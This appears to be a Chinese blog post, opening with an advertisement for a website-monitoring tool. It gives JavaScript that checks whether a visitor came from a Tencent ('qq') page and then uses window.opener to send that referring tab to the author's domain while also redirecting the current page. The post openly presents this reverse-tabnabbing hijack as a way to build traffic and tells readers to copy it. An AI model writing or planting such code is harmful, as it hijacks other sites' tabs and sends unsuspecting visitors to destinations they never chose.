JS 劫持来源网站并做指定跳转
如何检测自己的网站是否被劫持了呢?有个工具可以检测
工具:IIS7网站监测工具
它可以让你知道网站是否被黑,被入侵,被改标题,被挂黑链等等功能,让你作为站长能清楚知道自己网站的健康情况!它可以做到24小时定时监控:
1、网站是否被黑、被入侵、被改标题、被挂黑链
2、网站是否被劫持
3、域名是否被墙
4、DNS是否被污染
5、独家检测网站真实的完全打开时间
有时候给网站做流量,免不了要做一些网站劫持的JS跳转,这里贴上一段劫持来源网站的JS跳转方法,很简单
1 2 3 4 5 6 7 8 9 | <script> // 获取来源网站 var slyar = document.referrer; if (slyar.indexOf( "qq" )>0) // 判断网站是否来自腾讯网 // 劫持源网址跳转(这个就是让腾讯网跳转到指定的网站) window.opener.location.href = "http://www.我的域名.com" ; // 劫持打开的网址跳转(这个就是让打开的网站跳转到指定的网站) self.location = "http://www.指定的域名.com" ; </script> |
有时候也要判断通过来源网站来进行某些操作
1 2 3 4 5 6 7 8 9 10 11 12 | <script type= "text/javascript" > var slyar = document.referrer; var urls = [ 'localhost' ]; //指定你想要alert的域名,多个可以在数组中直接追加即可,追加如:['www.bbb.com', 'bbb.com', 'abc.bbb.com'] for (key in urls){ if (slyar.indexOf(urls[key]) >= 0){ // 指定的字符串值alertUrls[key]在字符串href中出现则>=0,否则为-1 // 执行某些操作 break ; //直接跳出循环 } } </script> |
虽然代码很简单,但是用到的却是很多,需要的直接拿走修改一下就可以用了。
不求点赞,只愿与你分享。